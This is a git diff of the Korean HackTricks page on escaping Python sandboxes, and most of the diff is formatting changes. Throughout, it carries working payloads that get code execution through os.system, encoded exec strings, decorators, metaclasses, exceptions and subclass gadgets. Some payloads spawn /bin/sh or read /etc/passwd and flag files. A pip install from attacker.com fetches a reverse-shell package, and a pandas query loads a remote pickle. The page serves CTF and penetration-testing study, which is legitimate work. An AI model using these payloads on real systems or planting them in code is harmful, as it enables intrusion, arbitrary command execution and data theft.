* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/python/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -27,6 +27,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
## 명령 실행 라이브러리
|
||||
|
||||
첫 번째로 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지 여부이거나 다음 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -59,6 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
|
||||
_**open**_ 및 _**read**_ 함수는 파이썬 샌드박스 내에서 파일을 **읽고**, 샌드박스를 **우회**하는 데 유용할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -76,6 +78,7 @@ _**open**_ 및 _**read**_ 함수는 파이썬 샌드박스 내에서 파일을 *
|
|||
여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
pickle을 통해 시스템에 설치된 **임의의 라이브러리를 가져올 수 있습니다.**\
|
||||
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져와 사용할 것입니다:
|
||||
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -88,6 +91,7 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
|
||||
더 많은 정보를 원하시면 pickle이 작동하는 방식을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip 패키지
|
||||
|
@ -95,10 +99,12 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
|||
**@isHaacK**가 공유한 트릭
|
||||
|
||||
`pip` 또는 `pip.main()`에 액세스할 수 있다면 임의의 패키지를 설치하고 역쉘을 얻을 수 있습니다.
|
||||
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
|
||||
파일을 다운로드하여 역쉘을 생성할 수 있습니다. 사용하기 전에 **압축을 푼 다음 `setup.py`를 변경하고 역쉘에 대한 IP를 입력해야 합니다**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
@ -114,6 +120,7 @@ exec는 여러 줄 문자열과 ";"을 허용하지만, eval은 그렇지 않습
|
|||
{% endhint %}
|
||||
|
||||
특정 문자가 금지되어 있는 경우 **16진수/8진수/B64** 표현을 사용하여 제한을 **우회**할 수 있습니다:
|
||||
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -134,7 +141,9 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
|||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
|
||||
### Python 코드를 평가할 수 있게 해주는 다른 라이브러리들
|
||||
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
|
@ -148,7 +157,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
|
||||
## 연산자 및 단축 트릭
|
||||
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
|
@ -157,9 +168,11 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
|
||||
## 인코딩을 통한 보호 기능 우회 (UTF-7)
|
||||
|
||||
[**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서 UFT-7은 표면적인 샌드박스 내에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다:
|
||||
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -170,6 +183,7 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
|
||||
또 다른 인코딩을 사용하여 이를 우회하는 것도 가능합니다. 예를 들어 `raw_unicode_escape` 및 `unicode_escape`를 사용할 수 있습니다.
|
||||
|
||||
## 호출 없이 Python 실행
|
||||
|
@ -177,6 +191,7 @@ return x
|
|||
**호출을 허용하지 않는 Python 감옥** 안에 있다면 여전히 **임의의 함수, 코드** 및 **명령을 실행**할 수 있는 몇 가지 방법이 있습니다.
|
||||
|
||||
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 사용한 RCE
|
||||
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
|
@ -198,6 +213,7 @@ X = exec(X)
|
|||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
|
||||
### RCE 객체 생성 및 오버로딩
|
||||
|
||||
만약 **클래스를 선언**하고 **해당 클래스의 객체를 생성**할 수 있다면, **다른 메소드를 작성/덮어쓸** 수 있어서 **직접 호출하지 않고도** **트리거**될 수 있습니다.
|
||||
|
@ -205,6 +221,7 @@ class _:pass
|
|||
#### 사용자 정의 클래스를 통한 RCE
|
||||
|
||||
일부 **클래스 메소드**를 수정하여 (기존 클래스 메소드를 덮어쓰거나 새 클래스를 생성하여) **직접 호출하지 않고도 트리거**될 때 **임의의 코드를 실행**할 수 있습니다.
|
||||
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -254,9 +271,11 @@ __iand__ (k = 'import os; os.system("sh")')
|
|||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
|
||||
#### [메타클래스](https://docs.python.org/3/reference/datamodel.html#metaclasses)를 사용하여 객체 생성하기
|
||||
|
||||
메타클래스가 허용하는 주요 기능은 **생성자를 직접 호출하지 않고 대상 클래스를 메타클래스로 하는 새 클래스를 생성함으로써 클래스의 인스턴스를 만드는 것**입니다.
|
||||
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -271,9 +290,11 @@ Sub['import os; os.system("sh")']
|
|||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
|
||||
#### 예외를 사용하여 객체 생성
|
||||
|
||||
**예외가 트리거되면**, **Exception**의 객체가 **직접 생성자를 호출하지 않아도** 생성됩니다 ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)의 소소한 꿀팁):
|
||||
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -293,7 +314,9 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
|||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
|
||||
### 더 많은 RCE
|
||||
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
|
@ -315,7 +338,9 @@ __iadd__ = eval
|
|||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
|
||||
### 내장 도움말 및 라이선스를 사용하여 파일 읽기
|
||||
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
|
@ -324,16 +349,19 @@ a.__class__.__exit__ = lambda self, *args: None
|
|||
with (a as b):
|
||||
pass
|
||||
```
|
||||
|
||||
## 내장 함수
|
||||
|
||||
* [**Python2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Python3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 가져올 수 있습니다 (마지막 섹션에 표시된 다른 문자열 표현을 여기에 사용할 수도 있음에 유의하세요):
|
||||
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
|
||||
### 내장 함수 없음
|
||||
|
||||
`__builtins__`가 없는 경우에는 **모든 전역 함수** (예: `open`, `import`, `print` 등)이 **로드되지 않기** 때문에 아무 것도 가져오거나 파일을 읽거나 쓸 수 없습니다.\
|
||||
|
@ -342,6 +370,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
다음 예제에서는 이러한 "**무해한**" 모듈 중 일부를 **남용**하여 그 내부에 있는 **위험한** **기능**에 **액세스**하는 방법을 살펴볼 수 있습니다.
|
||||
|
||||
**Python2**
|
||||
|
||||
```python
|
||||
#Try to reload __builtins__
|
||||
reload(__builtins__)
|
||||
|
@ -362,9 +391,11 @@ import __builtin__
|
|||
# Or you could obtain the builtins from a defined function
|
||||
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
||||
```
|
||||
|
||||
#### Python3
|
||||
|
||||
#### 파이썬3
|
||||
|
||||
```python
|
||||
# Obtain builtins from a globally defined function
|
||||
# https://docs.python.org/3/library/functions.html
|
||||
|
@ -383,15 +414,19 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
|
||||
[**아래에는 더 큰 함수**](./#recursive-search-of-builtins-globals)가 있습니다. 여기서 **수십**/**수백 곳**에서 **builtins**를 찾을 수 있습니다.
|
||||
|
||||
#### Python2 및 Python3
|
||||
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
|
||||
### 내장 페이로드 (Builtins payloads)
|
||||
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
|
@ -399,9 +434,11 @@ __builtins__["__import__"]("os").system("ls")
|
|||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
|
||||
## 전역 변수와 지역 변수
|
||||
|
||||
**`globals`**와 **`locals`**를 확인하는 것은 접근할 수 있는 것을 알아내는 좋은 방법입니다.
|
||||
\*\*`globals`\*\*와 \*\*`locals`\*\*를 확인하는 것은 접근할 수 있는 것을 알아내는 좋은 방법입니다.
|
||||
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -425,6 +462,7 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) **전역 변수를 찾을 수 있는** **수십 개/수백 개의 위치**를 찾을 수 있습니다.
|
||||
|
||||
## 임의 실행 발견
|
||||
|
@ -434,6 +472,7 @@ class_obj.__init__.__globals__
|
|||
#### 우회로를 사용하여 하위 클래스에 액세스
|
||||
|
||||
이 기술의 가장 민감한 부분 중 하나는 **기본 하위 클래스에 액세스할 수 있는 것**입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
||||
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -461,18 +500,24 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
|
||||
### 위험한 라이브러리 찾기
|
||||
|
||||
예를 들어, 라이브러리 **`sys`**를 사용하여 **임의의 라이브러리를 가져올 수 있다는 것을 알고 있다면**, 해당 **모듈들을 검색하여 그 안에 sys가 가져온 모든 라이브러리를 찾을 수 있습니다**:
|
||||
예를 들어, 라이브러리 \*\*`sys`\*\*를 사용하여 **임의의 라이브러리를 가져올 수 있다는 것을 알고 있다면**, 해당 **모듈들을 검색하여 그 안에 sys가 가져온 모든 라이브러리를 찾을 수 있습니다**:
|
||||
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
|
||||
많은 것이 있습니다. **우리는 딱 하나만 필요합니다** 명령을 실행하기 위해:
|
||||
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
||||
우리는 **명령어를 실행하는 데 사용될 수 있는 다른 라이브러리**로도 똑같은 작업을 수행할 수 있습니다:
|
||||
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
|
@ -507,7 +552,9 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
|
||||
게다가, 악성 라이브러리를 로드하는 모듈을 심지어 검색할 수도 있습니다:
|
||||
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
|
@ -526,7 +573,9 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
|
||||
또한, 다른 라이브러리가 명령을 실행하기 위해 함수를 호출할 수 있다고 생각한다면, 가능한 라이브러리 내에서 함수 이름으로 필터링할 수도 있습니다:
|
||||
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -558,11 +607,13 @@ execfile:
|
|||
execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
```
|
||||
|
||||
## 내장 및 전역 변수들의 재귀적 검색
|
||||
|
||||
{% hint style="warning" %}
|
||||
이것은 정말 **멋진** 기능입니다. 만약 **globals, builtins, open 또는 다른 어떤 객체를 찾고 있다면**, 이 스크립트를 사용하여 **해당 객체를 찾을 수 있는 장소를 재귀적으로 찾을 수 있습니다.**
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
|
@ -678,10 +729,11 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
이 스크립트의 출력물을 이 페이지에서 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="broken-reference/" %}
|
||||
[broken-reference](broken-reference/)
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python 포맷 문자열
|
||||
|
@ -692,6 +744,7 @@ main()
|
|||
그러나 **제한 사항**이 있습니다. `.[]` 기호만 사용할 수 있으므로 **임의의 코드를 실행할 수는 없고** 정보를 읽기만 할 수 있습니다.\
|
||||
_**이 취약점을 통해 코드를 실행하는 방법을 알고 있다면 저에게 연락해주세요.**_
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -711,16 +764,20 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
|
||||
참고로 `people_obj.__init__`와 같이 **점**을 사용하여 **속성에 액세스**할 수 있으며, 딕셔너리 요소에는 따옴표 없이 **괄호**를 사용하여 액세스할 수 있습니다. `__globals__[CONFIG]`
|
||||
|
||||
또한 객체의 요소를 나열하기 위해 `.__dict__`를 사용할 수 있습니다. `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
포맷 문자열의 다른 흥미로운 특성 중 하나는 **`str`**, **`repr`**, **`ascii`** 함수를 **실행**할 수 있는 기능이 있으며, 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 지정된 객체에서 실행할 수 있습니다:
|
||||
포맷 문자열의 다른 흥미로운 특성 중 하나는 **`str`**, **`repr`**, **`ascii`** 함수를 **실행**할 수 있는 기능이 있으며, 각각 **`!s`**, **`!r`**, \*\*`!a`\*\*를 추가하여 지정된 객체에서 실행할 수 있습니다:
|
||||
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
|
||||
또한, 클래스에서 **새로운 형식 지정자를 작성**할 수 있습니다:
|
||||
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
